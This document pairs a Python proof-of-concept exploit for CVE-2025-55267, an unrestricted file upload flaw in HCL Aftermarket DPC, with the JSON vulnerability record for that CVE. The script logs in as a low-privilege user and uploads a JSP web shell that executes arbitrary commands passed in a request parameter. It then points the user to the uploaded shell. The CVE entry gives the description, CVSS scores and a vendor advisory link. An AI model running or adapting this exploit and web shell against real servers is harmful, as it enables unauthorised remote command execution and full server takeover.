CVE-2025-55267

#!/usr/bin/env python3 # PoC for CVE-2025-55267: Unrestricted File Upload in HCL Aftermarket DPC import requests target_url = "http://target-vulnerable-server/upload_endpoint" login_url = "http://target-vulnerable-server/login" # 1. Authenticate (Low privilege user required per PR:L) session = requests.Session() credentials = {"username": "attacker", "password": "password"} session.post(login_url, data=credentials) # 2. Prepare malicious file # Assuming the web server supports JSP (common for enterprise apps like HCL) malicious_file = {'file': ('shell.jsp', '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>', 'application/octet-stream')} # 3. Upload the file response = session.post(target_url, files=malicious_file) if response.status_code == 200 and "upload" in response.text.lower(): print("[+] File uploaded successfully!") print("[+] Check the upload directory to access the shell.") else: print("[-] Upload failed.")

{"cve": {"id": "CVE-2025-55267", "sourceIdentifier": "[email protected]", "published": "2026-03-26T13:16:25.953", "lastModified": "2026-03-26T20:35:15.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Aftermarket DPC is affected by Unrestricted File Upload vulnerability, allows attacker to upload and execute malicious scripts, gaining full control over the server."}, {"lang": "es", "value": "HCL Aftermarket DPC está afectado por la vulnerabilidad de carga de archivos sin restricciones, permite al atacante cargar y ejecutar scripts maliciosos, obteniendo control total sobre el servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C71E5E64-ED4C-4763-8A74-5F9DDCFD13DA"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129793", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}